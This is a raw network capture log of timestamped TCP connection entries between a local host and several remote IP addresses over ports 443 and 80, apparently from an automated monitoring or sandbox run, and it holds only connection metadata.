Nov 26, 2024 16:31:27.915169954 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.916802883 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.918592930 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.918602943 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.918746948 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.918761969 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.919162035 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.919167995 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.919389009 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.919394016 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.983309984 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.983910084 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.983922958 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:27.984385014 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:27.984390020 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.013796091 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:28.013828039 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:28.013906956 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:28.015455961 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:28.015470028 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:28.156279087 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156303883 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156311989 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156358957 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156369925 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.156390905 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156405926 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156431913 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.156451941 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.156451941 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.156451941 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.156467915 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.208321095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:28.209244013 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:28.231829882 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.231903076 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.231914043 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.231956005 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.232254028 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.232265949 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.232290983 CET	49762	443	192.168.2.6	20.12.23.50
Nov 26, 2024 16:31:28.232296944 CET	443	49762	20.12.23.50	192.168.2.6
Nov 26, 2024 16:31:28.254167080 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.254231930 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.254290104 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.254570961 CET	49767	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.254580975 CET	443	49767	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.260020018 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.260049105 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.260113955 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.260396957 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.260410070 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.331409931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:28.331908941 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:28.331988096 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:28.333807945 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:28.572387934 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:28.572611094 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.572690010 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.572752953 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.572771072 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.572904110 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.572953939 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.576208115 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.576214075 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.576224089 CET	49769	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.576229095 CET	443	49769	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.576411963 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.576419115 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.576447010 CET	49766	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.576452017 CET	443	49766	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.579885960 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.579916954 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.579960108 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.579969883 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.579989910 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.580030918 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.581254005 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.581273079 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.581379890 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.581392050 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.666913986 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.666970968 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.667063951 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.667299032 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.667309046 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.667330027 CET	49768	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.667335033 CET	443	49768	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.670643091 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.670674086 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:28.670986891 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.671156883 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:28.671174049 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:29.097881079 CET	443	49774	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:29.104528904 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:29.104549885 CET	443	49774	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:29.104924917 CET	443	49774	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:29.105556011 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:29.105619907 CET	443	49774	172.217.21.36	192.168.2.6
Nov 26, 2024 16:31:29.151967049 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:29.640278101 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:29.640424013 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:29.642093897 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:29.642105103 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:29.642342091 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:29.684617996 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:29.731324911 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:29.758713961 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:29.759247065 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:29.759257078 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:29.759747028 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:29.759752989 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.180207014 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:30.180293083 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:30.185399055 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.186037064 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.186055899 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.186788082 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.186791897 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.203753948 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.203830004 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.203922987 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.204219103 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.204224110 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.204235077 CET	49777	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.204238892 CET	443	49777	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.220840931 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.220876932 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.221016884 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.221288919 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.221297979 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.225790024 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:30.225944996 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:30.226027966 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:30.226068974 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:30.226094007 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:30.226103067 CET	49778	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:30.226109982 CET	443	49778	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:30.239739895 CET	49774	443	192.168.2.6	172.217.21.36
Nov 26, 2024 16:31:30.276673079 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:30.276691914 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:30.276768923 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:30.277189016 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:30.277196884 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:30.609160900 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:30.624860048 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.624959946 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.625020027 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.625288010 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.625308990 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.625314951 CET	49782	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.625320911 CET	443	49782	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.629174948 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.629206896 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.629288912 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.629437923 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.629447937 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.692501068 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.693237066 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.693244934 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.693912029 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.693917036 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.713116884 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.713593006 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.713603020 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.714169025 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.714191914 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.714198112 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.714643002 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.714675903 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.715117931 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:30.715123892 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:30.832199097 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:31.162507057 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.162720919 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.162802935 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.163532019 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.163544893 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.163574934 CET	49783	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.163588047 CET	443	49783	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.168868065 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.168889999 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.168948889 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.169544935 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.169558048 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607357025 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607372999 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607428074 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607465982 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607592106 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.607764006 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.607803106 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.607812881 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.607820034 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607829094 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607831955 CET	49785	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.607839108 CET	443	49785	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.607840061 CET	49784	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.607846022 CET	443	49784	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.610896111 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.610925913 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.610929012 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.610964060 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.610995054 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.611031055 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.611159086 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.611170053 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.611243010 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:31.611258030 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:31.650691032 CET	80	49781	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:31.650800943 CET	49781	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:31.853821039 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:31.853935957 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:31.892545938 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:31.892574072 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:31.892918110 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:31.894108057 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:31.939337969 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:32.288481951 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.289057016 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.289069891 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.289669037 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.289674997 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.401909113 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:32.401968956 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:32.402265072 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:32.413007021 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:32.413036108 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:32.413053989 CET	49787	443	192.168.2.6	23.218.208.109
Nov 26, 2024 16:31:32.413062096 CET	443	49787	23.218.208.109	192.168.2.6
Nov 26, 2024 16:31:32.562254906 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.566836119 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.566845894 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.567523956 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.567529917 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.790334940 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.790401936 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.790570974 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.795006037 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.795037031 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.795053005 CET	49786	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.795059919 CET	443	49786	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.816309929 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.816350937 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:32.816431046 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.817287922 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:32.817305088 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.128902912 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.129028082 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.129093885 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.270669937 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.270669937 CET	49788	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.270701885 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.270711899 CET	443	49788	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.337152958 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.348510027 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.386249065 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.391159058 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.391170025 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.391822100 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.391827106 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.392230034 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.392241955 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.392663002 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.392667055 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.469450951 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.511337996 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.517615080 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.517627001 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.518342018 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.518347979 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.544904947 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.544945955 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.545111895 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.591094971 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.591121912 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.786547899 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.786613941 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.786726952 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.788552046 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.788713932 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.788810015 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:33.926889896 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.926954031 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:33.927035093 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.063165903 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.063165903 CET	49789	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.063196898 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.063211918 CET	443	49789	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.064378023 CET	49791	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.064385891 CET	443	49791	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.073391914 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.073417902 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.073431969 CET	49790	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.073437929 CET	443	49790	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.539829016 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.656142950 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.779181957 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.779237986 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.779299974 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.784393072 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.784447908 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.784509897 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.968734026 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.968771935 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.969389915 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.969398975 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.977416992 CET	49794	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.977441072 CET	443	49794	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:34.982629061 CET	49795	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:34.982650995 CET	443	49795	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.034437895 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.034486055 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.034564972 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.130425930 CET	49796	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.130450964 CET	443	49796	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.221570015 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:35.221570015 CET	49711	443	192.168.2.6	20.190.147.7
Nov 26, 2024 16:31:35.343350887 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.343650103 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.343925953 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.344580889 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.344605923 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.344696045 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.344749928 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.344818115 CET	443	49711	20.190.147.7	192.168.2.6
Nov 26, 2024 16:31:35.389678001 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.389708996 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.389722109 CET	49792	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.389735937 CET	443	49792	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.453597069 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.494380951 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.494405031 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.495193958 CET	49793	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.495199919 CET	443	49793	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.612302065 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.612356901 CET	443	49803	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:35.612529039 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.700462103 CET	49803	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:35.700485945 CET	443	49803	13.107.246.63	192.168.2.6
